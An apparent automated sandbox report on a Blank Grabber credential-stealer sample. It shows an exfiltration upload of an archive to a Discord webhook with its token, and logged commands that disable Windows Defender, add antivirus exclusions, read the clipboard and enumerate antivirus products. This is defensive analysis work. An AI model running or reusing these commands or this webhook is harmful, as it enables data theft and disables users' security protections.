0	192.168.2.4	49744	162.159.137.232	443	7324	C:\Users\user\Desktop\program.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 10:22:42 UTC	302	OUT	POST /api/webhooks/1298867906041479188/X0YmXSYYuFGsCIlZL1CQlv_GeIoIWc3S1cksX7_7_e4Onj-TjaVqNzNpf_yEZ3AJvNBM HTTP/1.1 Host: discord.com Accept-Encoding: identity Content-Length: 766741 User-Agent: python-urllib3/2.2.3 Content-Type: multipart/form-data; boundary=759108746665450e003c83e6b292e39f
2024-11-17 10:22:42 UTC	16384	OUT	Data Raw: 2d 2d 37 35 39 31 30 38 37 34 36 36 36 35 34 35 30 65 30 30 33 63 38 33 65 36 62 32 39 32 65 33 39 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 6c 61 6e 6b 2d 6a 6f 6e 65 73 2e 72 61 72 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 52 61 72 21 1a 07 01 00 72 96 bf 67 21 04 00 00 01 0f 77 40 86 04 aa ad bb 83 46 e2 75 ca e0 8b b5 c1 ae 9f 76 d6 5f e9 7f 94 6c e1 e2 54 27 1c 9e a6 c8 94 15 17 46 c0 23 49 45 ea c3 87 56 0d c2 e7 32 25 f7 b6 dc ae c0 60 03 42 01 7a 78 d7 4f b7 d4 28 8f 24 5b 7b ac 34 86 e0 52 d0 c5 53 b4 14 39 c4 67 84 9d b4 Data Ascii: --759108746665450e003c83e6b292e39fContent-Disposition: form-data; name="file"; filename="Blank-user.rar"Content-Type: application/octet-streamRar!rg!w@Fuv_lT'F#IEV2%`BzxO($[{4RS9g
2024-11-17 10:22:42 UTC	16384	OUT	Data Raw: 40 9f 72 e0 2e a9 52 f1 c4 7b 55 de 09 0b 57 13 76 67 fc 7f 06 cc 6d ad 5d 95 57 1e 0a 22 da 8a 07 df 35 df d1 f6 f7 16 16 b3 79 19 47 c3 77 00 76 92 3d 97 b3 99 f0 97 05 c8 7f 69 d5 b4 e1 4b 63 03 ad 72 af 34 13 ce 2c fc 04 55 9b 0d f6 d3 75 34 cd a7 88 92 5b 50 48 82 fe ac 31 6a a3 fd 7a 10 54 1b d9 3e a7 99 0e e9 f3 0d 97 99 f0 bc 6c e9 ea 63 69 c0 55 64 88 fe e9 21 46 98 46 0b 40 47 44 86 96 04 3a e7 7c d8 06 b8 9f 54 e5 9b 69 03 d8 88 2e 07 5f bd 5b 5b 52 c4 90 30 fc 1d 1b 45 aa ad b2 83 50 d9 a7 fe 68 7d ff 5d ab 0c 65 aa 09 14 36 00 17 2d 2d de 11 3f e1 3d 52 10 56 3c b2 8e 30 99 d7 13 a1 24 a7 6e a6 8c 30 27 d3 e3 85 b8 26 0a 2d 68 d8 c4 d6 8b 00 d9 a8 75 7d e4 46 69 d7 81 38 fe 4c 0c 54 19 f5 80 ad 1d e7 64 52 14 9a 83 87 80 a3 e0 08 7a c2 01 d5 Data Ascii: @r.R{UWvgm]W"5yGwv=iKcr4,Uu4[PH1jzT>lciUd!FF@GD:\|Ti._[[R0EPh}]e6--?=RV<0$n0'&-hu}Fi8LTdRz
2024-11-17 10:22:42 UTC	16384	OUT	Data Raw: 2c a4 40 12 d5 ae c3 69 cf f9 d2 8d 03 ad 94 59 38 91 9a 91 fd ba d6 16 d3 47 46 9d c5 f9 b5 c8 c7 58 68 01 d4 ae 32 f9 40 58 e5 a1 47 a1 a6 b7 10 0c 85 64 fe c6 57 cf c4 b7 26 6c 5f 8a ab 0a b0 d0 18 5f f9 02 d0 7a 39 75 81 22 8d 28 a3 f5 18 ea 7a 53 15 f0 9a 77 e0 c4 c4 0d e4 5a c7 b8 58 06 69 0b 2b 69 ed 7b 50 e0 fc bd 97 2d ff 91 e1 c1 25 be a6 b0 15 68 e8 e2 94 84 5f 79 56 40 bd 64 0d c4 e5 4c cd e4 8f 0a de ed 79 88 da 38 f0 97 59 83 d9 f9 c7 8a 51 01 a9 24 eb fa 0c f8 1c 5f 44 a5 01 a0 3c c1 6a 2e 29 06 6f b1 d7 09 02 d5 8f 92 eb 95 88 9e 11 72 88 18 a8 c0 53 61 da ff a3 d8 92 c2 b4 6f c0 9a a9 dd 9c 15 9b 06 0f c7 fc 8c 62 35 29 8c f4 24 da a8 58 0f c4 a4 7a cf 85 a8 3a 92 7d a3 33 7d ae 7f d8 95 4a 33 f4 86 04 fb 6e 16 6c 62 13 68 4b e7 a3 b2 62 Data Ascii: ,@iY8GFXh2@XGdW&l__z9u"(zSwZXi+i{P-%h_yV@dLy8YQ$_D<j.)orSaob5)$Xz:}3}J3nlbhKb
2024-11-17 10:22:42 UTC	16384	OUT	Data Raw: f8 23 35 71 0b 4c 5d b6 9d ce 8d ae e1 cb 98 e4 3d 8e a2 8d 00 01 0f 66 9f 62 a3 fe 8e 8a 20 b1 b5 93 bf 2a 0b 9d 71 30 e7 2d 7f 33 b4 20 cc ab cf 70 58 08 36 2e 47 1d 2b b3 2e f5 74 0e 32 cd fe b3 0a f4 3f 2b 39 16 e6 b1 14 f6 10 40 1a a9 dc ef 13 d7 e8 a6 39 74 25 a0 6d a8 ec 19 23 47 ed e2 e3 6f 88 5c 26 ef a8 d7 8b 8b 70 ae b1 17 25 70 3e 76 67 95 ad a0 ec c0 74 b9 8d 5b 3e cc 6e ff 9e 84 48 c6 fd 89 aa 9b 38 b5 0b e9 29 b7 99 ce 42 f9 f1 da fd 49 29 06 94 d4 23 58 0a 5d 26 fe c1 38 27 9d d8 6e f5 d8 80 5f d2 0a 5c 9a 2c 4b bb ee ec 4b 34 f9 b0 b4 39 97 21 f8 f2 ee 47 d7 3f 2e 46 0f 3f 8c ba 90 6e a1 ab ce 01 4b c4 f5 b7 6b 34 b0 43 82 0a 81 cd c1 4c fa b2 ef 7a b6 9f 54 46 8b 22 5d 1e 0c b3 7e ac 1d b2 c3 4f 7a f6 0f de e8 52 4e d4 46 50 14 7c 24 67 Data Ascii: #5qL]=fb *q0-3 pX6.G+.t2?+9@9t%m#Go\&p%p>vgt[>nH8)BI)#X]&8'n_\,KK49!G?.F?nKk4CLzTF"]~OzRNFP\|$g
2024-11-17 10:22:42 UTC	16384	OUT	Data Raw: 0a 08 18 5b de 8f 9a cc fb 81 bd ba c8 78 fe fe 16 c6 e0 55 1d 85 74 e2 f4 2e 33 f1 a2 06 14 c9 ef 3c df 3f 2a dd ee d7 fd 38 95 c7 56 2b eb 38 5c 64 ca 81 9f 51 c5 aa 89 d2 02 4f 22 34 6b a7 7d 00 58 7e f0 5e 5b 2b 58 de 0b c5 63 f6 db 17 ed 23 b3 c6 8f 62 2d 84 ff 06 3a 43 b9 4a 52 1d 6d 29 dc 6d 3e 14 1f df c0 d6 42 5b 8e cc a7 bc 61 09 8b 17 b4 22 ee eb 70 25 86 59 3a e6 37 d2 b3 05 9d 3e 2e e0 43 2b d6 d3 6c 2d cc db c6 58 43 22 2c 50 00 41 86 f8 60 77 1c c6 46 64 9c 6d 8a 8f c5 3a 2c b9 f5 14 72 ff 00 5d 13 e6 60 3a 95 fe ef 59 c6 b1 f9 51 a5 42 a0 7a f7 48 57 fb 1f e0 91 d4 00 a1 6b a2 87 6f 76 11 b8 86 93 16 39 93 29 6d 8c a4 16 ad 90 b0 5c 96 e2 07 4c 25 d5 e5 f8 e4 1d 0b 4d 99 b8 63 50 da 6c 60 68 65 d7 a6 6e cb 45 b8 15 b6 f5 7a e3 c6 68 55 03 Data Ascii: [xUt.3<?*8V+8\dQO"4k}X~^[+Xc#b-:CJRm)m>B[a"p%Y:7>.C+l-XC",PA`wFdm:,r]`:YQBzHWkov9)m\L%McPl`henEzhU
2024-11-17 10:22:42 UTC	16384	OUT	Data Raw: 2e b6 a5 2c 5a 42 ca 0f 38 96 a9 6d d1 6c 7f 68 18 7d fd cf 47 67 1d 65 d9 04 3b 1c 32 67 b7 38 58 13 2a 3c 22 ec 9c a8 82 7e 64 44 50 ec 23 6e 93 aa b8 c6 1d 83 75 d9 52 44 60 c7 34 b5 91 4f 25 d7 02 73 d2 a6 96 b6 c1 f9 45 e7 09 b2 ec ec 22 46 e0 8a 3b 51 83 0e 3f 23 07 d4 bf f6 95 20 49 7b 59 6a 1d 4b 8a e0 bd 5a 87 25 cc f3 d7 1c b9 bb 39 06 f8 5f 64 ae 76 79 8f 91 c1 42 33 06 24 5e 9b 63 cb 32 de 01 03 22 e6 c0 82 b2 a6 58 26 08 a7 9a fd 78 43 f5 7a a0 b7 37 d6 59 8c 45 e4 ac 97 73 f8 19 3e 64 be 86 01 c3 8b 00 07 e6 f8 01 97 02 f1 8c 78 0a d6 12 63 2b 49 47 98 07 37 c0 a5 3e 88 f3 8c ca e4 57 53 7f 00 c9 b2 af 61 e4 c0 86 a1 96 9d b0 65 93 89 c1 11 d3 d0 6f 02 4f ab dd 2b cf de 5c cb e6 b6 76 11 39 7b ed ab 52 f2 82 7b c3 85 e5 fe fb 21 d9 41 ad 08 Data Ascii: .,ZB8mlh}Gge;2g8X*<"~dDP#nuRD`4O%sE"F;Q?# I{YjKZ%9_dvyB3$^c2"X&xCz7YEs>dxc+IG7>WSaeoO+\v9{R{!A
2024-11-17 10:22:42 UTC	16384	OUT	Data Raw: 44 fb d2 5e 5b 97 72 32 34 55 8a 99 fc 23 5c 8e ec 81 ad 6b 5f d6 30 0a 06 4f b4 d2 d9 2d b4 cb 9e 93 47 af 6c 31 42 42 5e 7f 1b 5e c0 b1 0c 5a c8 2b 3c 80 70 ff 5d c6 df ae ba fa 0b 75 09 80 00 96 16 ac 86 6c a5 8b 58 3a b6 c7 a9 89 1f 3e 60 52 9d 7b 04 96 c7 08 58 82 27 61 9a c4 0b bf 6d 01 45 32 33 e0 13 95 13 a8 82 4f 19 e6 4a 40 74 90 8e 09 60 66 29 2c 29 fa a9 16 fb 3d 3e 64 cf 37 20 5a 5c c0 a7 c4 29 7f b6 5e e3 1c 19 69 05 5e b2 88 bd cb b2 d8 f5 2d 2b 02 ce d7 0b d1 8b 2a b3 8c ba 8e 77 90 51 46 d0 2d c1 0e 66 cc 30 34 fb 42 ab 9a ef 5e 99 65 1e 3d ff 71 3c 0a f1 53 fd 3e c6 38 f5 61 b1 7e 45 7d ae b5 66 ac 32 fb 1c bc 81 ac c5 db 34 70 ff cb e4 b6 20 e0 b9 cc 4d 2b 42 1f d6 87 0a 2a 66 73 05 bf 9b 02 c7 c6 22 31 27 e7 73 73 8d e4 8b 18 6b 10 06 Data Ascii: D^[r24U#\k_0O-Gl1BB^^Z+<p]ulX:>`R{X'amE23OJ@t`f),)=>d7 Z\)^i^-+wQF-f04B^e=q<S>8a~E}f24p M+Bfs"1'ssk
2024-11-17 10:22:42 UTC	16384	OUT	Data Raw: ca 87 1b b4 b9 43 16 c2 1f cd e3 aa c2 3f 10 28 07 1f c7 42 1a 27 d0 aa d9 f6 af 42 4b dd be 8d 4e d4 52 bc 3c 06 7a 35 d9 9d c2 84 3f 23 dc 8a 5f 4f b9 d5 26 0d 09 98 a9 fe 7d 6b 20 12 e6 b2 52 33 c5 d9 18 ea 0f ad 2c dd 6a 90 7f 2c f6 5c fd 5c 3d 86 a1 90 5d e8 6b ee 6f be 8c 8d db df 40 0f f9 c7 54 e8 98 30 11 da 2b f2 46 42 10 d8 06 b9 9f 5b f2 9d 53 7a d6 2d c6 2d 8c 21 8d e4 f7 90 fd 81 85 ad 67 8a b4 c9 30 fb 63 ed 05 a6 0e 46 2e 7e d3 c8 46 f3 63 ce 67 86 67 8e 6d d6 35 3b 9f 78 f8 90 fb d6 92 53 77 e7 9f 90 ba 41 9d 39 22 75 e5 bf d7 ec 10 c5 74 9d 27 75 83 4a c8 38 c6 03 db 24 87 f1 55 c2 ed 0b 9f 36 cf b5 5c ea b1 c8 ef 56 64 c1 bc 88 0c fc ce 9d 7f 48 0d e9 f3 33 30 09 e8 f1 38 64 36 99 de 73 97 9c 57 e9 54 5b 62 37 8e 3f 3f 70 49 0f f5 28 12 Data Ascii: C?(B'BKNR<z5?#_O&}k R3,j,\\=]ko@T0+FB[Sz--!g0cF.~Fcggm5;xSwA9"ut'uJ8$U6\VdH308d6sWT[b7??pI(
2024-11-17 10:22:42 UTC	16384	OUT	Data Raw: e9 f0 a2 d9 80 df 0c 81 76 6e c1 79 65 70 65 d1 3b 75 ee 51 76 cb 3e 5f d5 26 00 06 c1 1d 26 42 4c 67 16 76 4b f6 5b d4 51 f9 0c d2 40 ce 03 29 29 53 86 5c 9d e4 d2 c5 93 7e a3 d2 91 93 fb e8 bb 02 c7 5e 8b b1 08 1a dd 08 56 70 62 7c 6b b0 f2 6d df a5 f5 e1 c7 cb fc ac 8f a4 55 56 3e ff a8 7a be 88 eb 59 99 8c 58 69 a4 b1 cd bc dc 6a 56 9a 3b f2 c8 14 e9 18 8f d4 8f 90 02 85 de c7 d1 5f 43 19 45 b0 65 89 16 7b 1a cf 16 a6 ed e2 01 c2 4e ad d4 c3 eb 06 83 ea 6f 44 88 0c 35 f8 88 42 dd 64 67 c6 d1 70 16 ff 83 94 7f ae d4 54 1d 90 61 4c a2 22 27 72 9a 5b d3 dd 11 66 48 00 92 bd 2e 1f 5b 7c 6b e0 30 81 6d 58 96 77 2f 0f f1 56 84 4b d4 4e 8b 7d 0e 9e 9b fa 8f d1 63 51 43 c8 3a 5e 75 21 b1 38 d6 bb 14 2f 0b e1 ad 65 e3 16 d0 59 91 8d 7c fa b7 de 9b bd 98 c9 72 Data Ascii: vnyepe;uQv>_&&BLgvK[Q@))S\~^Vpb\|kmUV>zYXijV;_CEe{NoD5BdgpTaL"'r[fH.[\|k0mXw/VKN}cQC:^u!8/eY\|r
2024-11-17 10:22:42 UTC	16384	OUT	Data Raw: d5 d3 9b b4 30 0d b2 76 8d bb fd ae e0 85 ae 9b c6 15 1b 5d bf 9f a9 8f e0 57 9f 20 62 2f 89 76 0e 2c a8 d2 95 db 9e dd cf a9 c7 0c b2 87 7c f2 e1 fc 3d de 06 c9 a4 26 22 72 ba f9 b7 7c 37 8b 0e 2a a7 52 f1 39 25 56 88 8c 55 c6 9a 3d 5a 5d 92 11 49 37 7a 0c 0e 4b e6 d6 c8 c3 be ba d9 d0 cb a9 8b b8 4f af e8 fe 6c c5 e0 e4 cd 9a 45 d8 c1 d3 f8 1a b5 f2 f6 ab d3 77 d5 1c 53 d3 f2 b0 fa b4 e3 92 2f 03 34 db 0e 49 ed d5 40 09 70 67 31 5e 4b cc 31 26 3d 59 8c 9a ef 1b 0f b8 a0 c5 79 85 0f 07 a0 5c 84 57 a4 30 43 d3 6d ee 0d 68 ab 33 17 ec de 7a 19 96 1c e5 a3 dd 75 27 7e 08 42 5d 9c bc 79 b9 c2 4b 9b fe df 51 c3 69 c1 32 06 73 66 3f a2 87 b6 ff 32 c6 c4 b3 ff 1d 02 c6 d9 2d c4 6a 60 2c 06 7b e1 f6 7a c7 5c 54 fb 14 13 76 d4 ce 80 b2 09 65 28 6d b5 e1 b8 2a ff Data Ascii: 0v]W b/v,\|=&"r\|7R9%VU=Z]I7zKOlEwS/4I@pg1^K1&=Yy\W0Cmh3zu'~B]yKQi2sf?2-j`,{z\Tve(m
2024-11-17 10:22:43 UTC	1253	IN	HTTP/1.1 404 Not Found Date: Sun, 17 Nov 2024 10:22:43 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1731838964 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kw%2FMCC3nxYl1Sb3abNC0WpO%2FFrUHsOgYiaVPTDATc2ZXBunk234OqISsKrlIBESZZz3Fw35sEraQjNMdFhDGCmXh9SjSXz4cgxjnZha1bFkdj228QxWzxWkoww2m"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=7f3eb00f74a25652e1281dc04aa6cdbfe83e4455-1731838963; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=ffpl7Z_XRbw2jJzUSb94O3lzwZOtlB08ocIN8D03Ggs-1731838963322-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8e3f004c2e334678-DFW

Target ID:	0
Start time:	05:22:02
Start date:	17/11/2024
Path:	C:\Users\user\Desktop\program.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\program.exe"
Imagebase:	0x7ff6b7500000
File size:	7'954'796 bytes
MD5 hash:	3E6865657B29FAEA3A355C710F0AAD45
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.1707785964.000002641A645000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.1707785964.000002641A643000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:22:02
Start date:	17/11/2024
Path:	C:\Users\user\Desktop\program.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\program.exe"
Imagebase:	0x7ff6b7500000
File size:	7'954'796 bytes
MD5 hash:	3E6865657B29FAEA3A355C710F0AAD45
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.2102475831.000001B5FEEF0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000002.2105351723.000001B5FDA10000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:22:04
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\program.exe'"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:22:04
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:22:04
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:22:04
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:22:05
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:22:05
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:22:05
Start date:	17/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:22:05
Start date:	17/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\program.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:22:05
Start date:	17/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	05:22:06
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:22:06
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7824, Parent PID: 7788

General

Target ID:	13
Start time:	05:22:06
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:22:06
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:22:07
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	05:22:07
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:22:07
Start date:	17/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff77aff0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:22:07
Start date:	17/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff77aff0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:22:07
Start date:	17/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Imagebase:	0x7ff71fde0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:22:07
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:22:07
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:22:07
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:22:07
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
